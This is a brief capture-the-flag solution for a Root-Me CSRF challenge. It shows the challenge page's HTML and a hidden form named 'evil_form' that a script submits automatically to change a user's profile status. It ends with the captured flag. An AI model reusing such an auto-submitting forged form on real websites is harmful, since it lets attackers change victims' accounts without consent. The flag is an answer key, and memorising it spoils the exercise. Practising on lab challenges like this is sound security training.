Lien du CTF
<html>
<head>
<title>Intranet</title>
</head>
<body><link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /><iframe id='iframe' src='https://www.root-me.org/?page=externe_header'></iframe>
<a href="?action=login">Login</a> | <a href="?action=register">Register</a><hr>
<!-- l --><!-- SELECT * FROM membres WHERE username='test4' and sessid_user='c352e7a2542d6ef69443a5ed90042813' -->User exist :( <br>
<form id="evil_form" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data">
<input type="hidden" name="username" value="test">
<input type="hidden" id="sessid_user" name="sessid_user" value="">
<input type="hidden" name="status" value="on">
<input type="submit" value="Submit request" />
</form>
<script>document.getElementById("evil_form").submit()</script>
Good job dude, flag is : Csrf_Fr33style-L3v3l1!